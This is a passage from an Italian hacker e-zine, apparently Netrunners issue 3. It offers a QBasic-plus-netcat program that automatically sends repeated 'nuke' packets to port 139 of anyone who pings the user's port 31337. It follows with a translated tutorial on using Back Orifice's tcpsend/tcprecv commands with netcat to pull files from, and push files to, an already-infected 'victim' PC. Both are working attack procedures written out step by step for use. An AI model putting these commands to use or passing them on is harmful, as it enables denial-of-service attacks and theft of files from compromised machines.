la prossima volta ci ripensi!! lamer, pisano!!
[ tanto Batman e' in egitto!! hi hi hi]

... ricordarsi di finire sempre
con almeno due righe vuote

Fine -------------------------------------------------------------------


il programma e' questo qui:

cosa fa' inanzitutto: semplicemente mette in ascolto netcat sulla porta
upd 31337, quando riceve un ping crea un file con l'ip del pingatore e
installa, sempre tramite netcat, un ciclo di nuke da spedire all'indirizzo
IP trovato. Il tutto automaticamente; ovviamente lo fa una volta sola per un
solo ping .. ma modificare il programma perche' dopo l'invio delle nuke si
rimetta al lavoro e' una cosa banale!!



INIZIO PROGRAMMA-------------------------------------------------------

10 SCREEN 0,0,0
20 CLS
30 LOCATE 1,1

31 rem ****** Legge dalla porta 31337 i ping e salva i caratteri
32 rem ****** inviati dal pingatore nel file texto.txt
40 SHELL("nc -u -l -p 31337 -v -w 1 > testo.txt")

50 DIM LEGGI$(20)
60 FOR N=1 TO 20
70 LEGGI$(N)=""
80 NEXT N

81 rem ****** Recupera dallo schermo il pipe primario di netcat
82 rem ****** a un secondo dalla fine eleborazione ( opz. -w 1 )
83 rem ****** opzione necessaria perche' netcat non rida'
84 rem ****** automaticamente i comandi al dos.
90 FOR N=1 TO 20
100 FOR M=1 TO 80
110 LEGGI$(N)=LEGGI$(N)+CHR$(SCREEN(N,M))
120 NEXT M
130 NEXT N
140 CLS

141 rem ******* Ricerca la linea di collegamento effettuato con
142 rem ******* i dati relativi all'opzione -v (verbose)
150 FOR N=1 TO 20
160 A=INSTR(1,LEGGI$(N),"from")

161 rem ******* Se la trova passa alle operazioni di attacco
170 IF A>3 THEN GOSUB 21
180 NEXT N
190 SYSTEM
200 END

201 rem ******* Ricava dalla riga screen-pipe l'IP del pingatore
210 INIZIO=INSTR(A,LEGGI$(N),"[")
220 FINE=INSTR(A,LEGGI$(N),"]")
230 IP$=MID$(LEGGI$(N),INIZIO+1,FINE-INIZIO-1)

231 rem ******* Lo salva nel file ipLAMER.txt (puo' sempre tornar utile!)
240 OPEN "ipLAMER.txt" FOR OUTPUT AS #1
250 PRINT #1,IP$
260 CLOSE #1

261 rem ******* Invia ripetutamente una nuke di testo prelevata dal
262 rem ******* file nuke.dat sulla porta 139 netbios all'IP trovato
270 FOR J=1 TO 10
280 SHELL("nc -w 3 "+IP$+" 139 < nuke.dat")
290 NEXT J

291 rem ******* Lavoro finito! ;-)
300 RETURN

FINE
PROGRAMMA -----------------------------------------------------------------


_#_



Download di files usando il Boserve
in concomitanza con il NetCat
-----------------------------------
Testo originale by m0loch
Tradotto e commentato by ChRoMe
-----------------------------------
Come promesso nella prima parte del tutorial,oggi vi spieghero' come fare download e upload di files con i comandi tcpsend e tcprecv del Back Orifice,usando come supporto,il programma NetCat.
Per quanto riguarda l'uso e le potenzialita' del NetCat,fate riferimento agli articoli che trovate su questo numero di NetRunners.
***NOTA***
Questo tutorial assume che abbiate installato il NetCat,in qualche cartella di facile accesso.
In questo tutorial assumeremo che il netcat si trovi in C:\nc
Se,per motivi vostri,avete il NetCat installato in un path diverso,tenetelo a mente,e comportatevi di conseguenza.

Passo 1.
Aprite una finestra dos (questo si fa' da avvio/programmi/ms-dos prompt,o se avete un collegamento sul desktop,direttamente clikkando su quello)
Riceverete il prompt di dos
c:\windows>
Di seguito digitate :
cd c:\nc (ricordate la nota sul path......)

Passo 2.
Prepariamo NetCat a ricevere un file.
Per questo esempio useremo il file win.ini del pc "vittima"
Per far si' che il NC (usero'l'abbreviazione di qui' in avanti) si prepari alla ricezione del file dovrete digitare:

nc -l -p 666 > win.ini

La riga di comando che avete appena digitato fa' questo:
Chiama il programma netcat (nc)
lo mette in ascolto (-l)
su la porta (-p) 666 (666)
Potete mettere una porta qualsiasi,la 666 e' solo d'esempio.
Il segno > dice a nc che sta' per arrivare qualcosa su quella porta,(win.ini)specifica il nome del file che arrivera' da li'a poco.
Dal prompt di dos dovreste vedere una riga di comando come questa:

c:\nc>nc -l -p 666 > win.ini

Passo 3.
Comunicare al pc "vittima" che deve mandare il file (win.ini,per questo esempio)al vostro pc.
Per fare questo dovrete avere un altra finestra dos attiva,da cui vi siete gia' connessi al pc vittima,tramite il comando host <IP> dove <IP> e' quello della vittima.
Se siete gia' collegati al server del host,digitate:

tcpsend c:\windows\win.ini 123.123.123.123:666

Mi sembra ovvio che al posto dell'ip 123.123.123.123 ci mettere l'ip del vostro boservizzato.
La porta (in questo caso 666) deve essere TASSATIVAMENTE la stessa sia sul remoto che sul locale,pena il totale NON funzionamento del giochino.
***NOTA***
Tutti sappiamo che il win.ini si trova in C:\windows....
Se volete scaricare un foto gnocca.jpg che si trova nel hard disk d:\ nella dir \GRAFICA\bionde\topone\
la riga di comando sara':
tcpsend d:\GRAFICA\bionde\topone\gnocca.jpg 123.123.123.123:666

Se tutto funziona,riceverete una risposta dal boclient,come questa:

sending c:\windows\win.ini vostro ip:port

con il vostro vero ip,e la porta 666(se avete settato questa come da esempio)

Passo 4.

La cosa importante,adesso,sarebbe poter monitorare il trasferimento del file,al fine di sapere quando sara' terminata la trasmissione.
Sfortunatamente,al momento che sto' traducendo questo tutorial,non sono a conoscienza di una tecnica per farlo,aspetto degli input da qualcuno che ha trovato il sistema.
Sicuramente i files piccoli,saranno molto piu' facili e veloci da trasferire,che i files di grosse dimensioni.
Ad ogni modo,la maniera(pecoreccia)che uso per farmi un'idea delle stato del trasferimento
del file,e'di vedere l'attivita' del modem,quando questo stara' per un po' di tempo fermo,generalmente,il file sara' arrivato sano e salvo a destinazione.
Quando sarete "abbastanza"certi dell'avvenuto download ,andate nella finestra dos dove il NC sta' lavorando,rendetela attiva,e premete ctrl-c,questo comando interrompe la connessione tcp tra il vostro pc e l'ospite.
Fatto questo,potete fare le dovute modifiche al file che avete appena scaricato,o guardarvelo solamente.
***NOTA***
Il file scaricato sara' salvato nella stessa cartella dove risiede il NC,a meno che non abbiate specificato un path diverso.

Upload di files da un pc remoto
(gia' infettato dal BO) usando
il boclient e il NetCat
-------------------------------

Anche per questo esempio fa' fede la nota per il downlod (c:\nc)
In questo esempio,faremo l'upload di un file chiamato mypic.jpg

Passo 1.
Ripetere l'operazione descritta nel passo 1 per il download,aprite la finestra dos.

Passo 2.
Prepariamo il NC per spedire un file.
Al prompt di dos digitiamo:

nc -l -p 666 < mypic.jpg

Come vi sarete accorti,lo spero..hihihihihi,l'unica cosa diversa dall'esempio del download,e' l'operatore <,infatti il segno < dice al NC che ha qualcosa da inviare,contrariamente al segno > che serve per metterlo in condizione di ricevere.
***NOTA***
Il file da inviare (nel nostro caso mypic.jpg)sara'nella directory dove risiede il NC,se cosi' non fosse,dovete specificare il path dopo il segno <.

Passo 3.
Preparare il pc ospite a ricevere il file da voi inviato(mypic.jpg).
Andate nella finestra dos dove il bo client e' gia attivo,e collegato al pc remoto,e digitate:

tcprecv c:\mypic.jpg 123.123.123.123:666

Come al solito,l'ip e' quello del vostro host e la porta deve essere la stessa su cui ascolta il NC.
Date un bel enter,e se avete digitato tutto bene vi apparira' una risposta come questa:
receiving c:\mypic.jpg <vostro ip>:port

Anche qui' valgono le considerazioni sul monitoraggio del trasferimento,uguali per il download.

Bene,questo e' tutto,ringrazio m0loch per il testo originale,e chiunque voglia mandare ulteriori info sull' argomento.

La mia e-mail e' execrew@bigfoot.com


ChRoMe SPP MembER

Per contattare direttamente l'autore di questo tutorial:
web: http://maxcarnage.fsn.net
email: m0loch@thor.prohosting.com


_#_






















This Is The End..My Only Friends,The End......


Netrunners numero tRE By SpiPPoLaToRi



_FinE_











← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT